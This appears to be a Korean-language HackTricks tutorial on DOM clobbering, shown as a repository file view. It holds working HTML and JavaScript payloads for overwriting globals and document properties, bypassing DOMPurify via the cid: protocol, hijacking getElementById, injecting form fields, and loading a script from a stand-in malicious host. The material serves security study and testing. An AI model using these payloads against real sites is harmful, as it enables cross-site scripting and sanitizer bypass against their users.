220 lines
11 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
{{#include ../../banners/hacktricks-training.md}}
## **기본 사항**
HTML 태그에서 **`id`** 및 **`name`** 속성을 사용하여 **JS 컨텍스트 내에서 전역 변수를 생성**할 수 있습니다.
```html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
```
**오직** 특정 요소만이 **name 속성**을 사용하여 전역 변수를 클로버링할 수 있습니다. 이들은: `embed`, `form`, `iframe`, `image`, `img``object`입니다.
흥미롭게도, **form 요소**를 사용하여 변수를 **클로버링**할 때, 요소 자체의 **`toString`** 값은 다음과 같습니다: `[object HTMLFormElement]` 그러나 **anchor**를 사용할 경우 **`toString`** 값은 앵커의 **`href`**가 됩니다. 따라서, **`a`** 태그를 사용하여 클로버링하면, 문자열로 처리될 때 **값**을 **제어**할 수 있습니다:
```html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
```
### Arrays & Attributes
배열과 객체 속성을 **덮어쓸** 수도 있습니다:
```html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
```
**3번째 속성**(예: x.y.z)을 덮어쓰려면 **`form`**을 사용해야 합니다:
```html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
```
속성을 더 많이 클로버링하는 것은 **더 복잡하지만 여전히 가능합니다**, iframe을 사용하여:
```html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
```
> [!WARNING]
> style 태그는 **iframe이 렌더링할 충분한 시간을 주기 위해** 사용됩니다. 이것이 없으면 **undefined** 경고가 표시됩니다.
더 깊은 속성을 클로버링하려면, **html 인코딩이 있는 iframe**을 다음과 같이 사용할 수 있습니다:
```html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
```
### **필터 우회**
필터가 `document.getElementByID('x').attributes`와 같은 것을 사용하여 노드의 **속성**을 **루프**하고 있다면, **`.attributes`** 속성을 **클로버**하여 필터를 **중단**시킬 수 있습니다. **`tagName`**, **`nodeName`** 또는 **`parentNode`**와 같은 다른 DOM 속성들도 **클로버**할 수 있습니다.
```html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
```
## **`window.someObject` 덮어쓰기**
JavaScript에서는 다음과 같은 경우를 자주 찾습니다:
```javascript
var someObject = window.someObject || {}
```
페이지에서 HTML을 조작하면 `someObject`를 DOM 노드로 덮어쓸 수 있어 보안 취약점이 발생할 수 있습니다. 예를 들어, 악성 스크립트를 가리키는 앵커 요소로 `someObject`를 교체할 수 있습니다:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
취약한 코드 예시:
```html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
```
이 방법은 스크립트 소스를 이용하여 원치 않는 코드를 실행합니다.
**트릭**: **`DOMPurify`**는 **`cid:`** 프로토콜을 사용하도록 허용하며, 이는 **이중 따옴표를 URL 인코딩하지 않습니다**. 이는 **런타임에 디코딩될 인코딩된 이중 따옴표를 주입할 수 있음을 의미합니다**. 따라서 **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`**와 같은 것을 주입하면 HTML 인코딩된 `&quot;`**런타임에 디코딩**되어 **속성 값에서 탈출**하여 **`onerror`** 이벤트를 **생성**합니다.
또 다른 기술은 **`form`** 요소를 사용합니다. 특정 클라이언트 측 라이브러리는 새로 생성된 폼 요소의 속성을 검사하여 이를 정리합니다. 그러나 폼 안에 `id=attributes`가 있는 `input`을 추가함으로써 속성 속성을 효과적으로 덮어쓰게 되어, 세정기가 실제 속성에 접근하지 못하게 합니다.
이러한 유형의 클로버링의 예를 [**이 CTF 작성물에서 찾을 수 있습니다**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## 문서 객체 클로버링
문서에 따르면 DOM 클로버링을 사용하여 문서 객체의 속성을 덮어쓸 수 있습니다:
> [Document](https://html.spec.whatwg.org/multipage/dom.html#document) 인터페이스는 [이름이 있는 속성](https://webidl.spec.whatwg.org/#dfn-support-named-properties)을 지원합니다. [Document](https://html.spec.whatwg.org/multipage/dom.html#document) 객체의 [지원되는 속성 이름](https://webidl.spec.whatwg.org/#dfn-supported-property-names)은 다음과 같으며, [트리 순서](https://dom.spec.whatwg.org/#concept-tree-order)에 따라 기여한 요소에 따라 정렬되며, 나중의 중복은 무시하고, 동일한 요소가 두 가지를 기여할 때는 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 속성의 값이 이름 속성의 값보다 먼저 옵니다:
>
> \- 비어 있지 않은 이름 콘텐츠 속성을 가진 모든 [노출된](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), 및 [노출된](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 요소의 이름 콘텐츠 속성 값은 문서가 [루트](https://dom.spec.whatwg.org/#concept-tree-root)인 [문서 트리](https://dom.spec.whatwg.org/#in-a-document-tree)에 있어야 합니다;\
> \
> \- 비어 있지 않은 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성을 가진 모든 [노출된](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 요소의 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성 값은 문서가 [루트](https://dom.spec.whatwg.org/#concept-tree-root)인 [문서 트리](https://dom.spec.whatwg.org/#in-a-document-tree)에 있어야 합니다;\
> \
> \- 비어 있지 않은 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성과 비어 있지 않은 이름 콘텐츠 속성을 모두 가진 모든 [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 요소의 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성 값은 문서가 [루트](https://dom.spec.whatwg.org/#concept-tree-root)인 [문서 트리](https://dom.spec.whatwg.org/#in-a-document-tree)에 있어야 합니다.
이 기술을 사용하면 일반적으로 사용되는 **값인 `document.cookie`, `document.body`, `document.children`**`document.querySelector`와 같은 문서 인터페이스의 메서드를 덮어쓸 수 있습니다.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## 요소가 클로버링된 후 작성하기
**`document.getElementById()`** 및 **`document.querySelector()`** 호출의 결과는 동일한 id 속성을 가진 `<html>` 또는 `<body>` 태그를 주입함으로써 변경될 수 있습니다. 다음은 이를 수행하는 방법입니다:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
```
또한, 이러한 주입된 HTML/body 태그를 숨기기 위해 스타일을 사용함으로써 `innerText`의 다른 텍스트로 인한 간섭을 방지할 수 있어 공격의 효율성을 높일 수 있습니다:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
SVG에 대한 조사 결과 `<body>` 태그도 효과적으로 활용될 수 있음을 알 수 있습니다:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
HTML 태그가 Chrome 및 Firefox와 같은 브라우저의 SVG 내에서 작동하려면 `<foreignobject>` 태그가 필요합니다:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
## Clobbering Forms
**양식 안에 새로운 항목을 추가하는 것이 가능합니다** 단지 **일부 태그 안에 `form` 속성을 지정함으로써**. 이를 사용하여 **양식 안에 새로운 값을 추가하고** 심지어 **전송할 새로운 버튼을 추가할 수 있습니다** (클릭재킹 또는 일부 `.click()` JS 코드를 악용하여):
```html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
- 더 많은 폼 속성은 [**버튼 확인하기**](https://www.w3schools.com/tags/tag_button.asp)**.**
## 참고문헌
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
- Heyes, Gareth. 해커를 위한 JavaScript: 해커처럼 생각하는 법 배우기.
{{#include ../../banners/hacktricks-training.md}}